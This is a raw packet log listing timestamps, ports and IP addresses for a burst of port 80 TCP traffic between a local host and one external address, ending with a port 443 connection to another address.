Jan 9, 2024 15:46:22.581353903 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581361055 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581393003 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581429958 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581444979 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581497908 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581546068 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581568003 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581608057 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581617117 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581655025 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581809998 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581851006 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581902981 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581954002 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581991911 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582004070 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582042933 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582092047 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582142115 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582171917 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582211018 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582241058 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582266092 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582315922 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582366943 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582387924 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582451105 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582467079 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582508087 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582524061 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582554102 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582609892 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582657099 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582712889 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582750082 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.582767963 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.582792997 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.863698959 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863727093 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863765955 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863784075 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.863806963 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863811970 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.863854885 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863883018 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.863895893 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863909006 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.863939047 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.863976002 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864073038 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864103079 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864116907 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864125013 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864160061 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864383936 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864464998 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864509106 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864522934 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864573956 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864604950 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864648104 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864675999 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864713907 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864789009 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864870071 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864911079 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.864938974 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.864978075 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865061998 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865101099 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865139008 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865179062 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865236044 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865278006 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865315914 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865407944 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865410089 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865444899 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865470886 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865520000 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865535975 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865612030 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865616083 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865654945 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865678072 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865722895 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865748882 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865788937 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865828037 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865901947 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.865955114 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.865979910 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866007090 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866044998 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866111994 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866161108 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866214991 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866256952 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866295099 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866334915 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866360903 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866400957 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866440058 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866480112 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866548061 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866589069 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866620064 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866672039 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866713047 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866739035 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866780043 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.866859913 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.866902113 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867043972 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867084980 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867104053 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867144108 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867182016 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867244005 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867717981 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867752075 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867767096 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867783070 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867825031 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867854118 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867894888 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.867922068 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.867991924 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.868031025 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.868046045 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.868088007 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.868124962 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.868170977 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.148875952 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.148945093 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.148953915 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.148996115 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.148998022 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149043083 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149132967 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149172068 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149178028 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149219036 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149250031 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149296999 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149384022 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149470091 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149558067 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149619102 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149624109 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149657011 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149665117 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149701118 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.149914980 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.149960995 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150012016 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150062084 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150216103 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150263071 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150285959 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150333881 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150506020 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150552034 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150717020 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150768995 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150912046 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150949955 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.150974989 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.150996923 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151274920 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151336908 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151357889 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151474953 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151638985 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151676893 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151690006 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151725054 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151817083 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151855946 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151865005 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151894093 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.151902914 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151940107 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.151963949 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152009010 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152151108 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152189016 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152204037 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152239084 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152456045 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152503014 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152587891 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152632952 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152642012 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152678013 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152734995 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152774096 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152810097 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152821064 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152869940 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152884007 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.152935028 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.152973890 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153024912 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153213978 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153260946 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153306007 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153354883 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153378010 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153445959 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153446913 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153496981 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153517008 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153557062 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153606892 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153631926 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153671026 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153687000 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153708935 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153762102 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153780937 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153820992 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153826952 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153867960 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.153908014 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153944969 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.153995991 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.154015064 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.154052973 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.154058933 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.154105902 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.154191017 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.154253960 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435159922 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435194969 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435221910 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435255051 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435395956 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435442924 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435492992 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435625076 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435637951 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435663939 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435668945 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435707092 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435801983 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435847998 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435858965 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435894012 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.435936928 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.435966969 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.436012030 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.436427116 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.436485052 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.436533928 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.436621904 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.436640024 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.436667919 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.436805010 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.436855078 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.436885118 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.436928988 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.436959982 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437052965 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437064886 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437094927 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437153101 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437203884 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437223911 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437267065 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437311888 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437433004 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437477112 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437496901 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437565088 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437618971 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437663078 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437711000 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437726974 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437767029 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437782049 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437823057 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437897921 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437918901 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437953949 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.437971115 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.437977076 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.438020945 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.438081026 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.438158035 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.438168049 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.438210964 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.438352108 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.438397884 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.438446045 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.438508034 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.438528061 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.438570976 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719058990 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719122887 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719156981 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719162941 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719189882 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719259024 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719266891 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719296932 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719306946 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719346046 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719430923 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719470024 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719506979 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719522953 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719561100 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719582081 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719698906 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719897032 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.719954967 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.719964027 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720015049 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720038891 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720112085 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720148087 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720149994 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720156908 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720223904 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720257998 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720262051 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720283985 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720302105 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720313072 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720375061 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720428944 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.720479012 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720515013 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:23.720566988 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:23.787090063 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:24.070641041 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:25.545798063 CET	49717	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:25.545839071 CET	443	49717	172.67.139.220	192.168.2.10
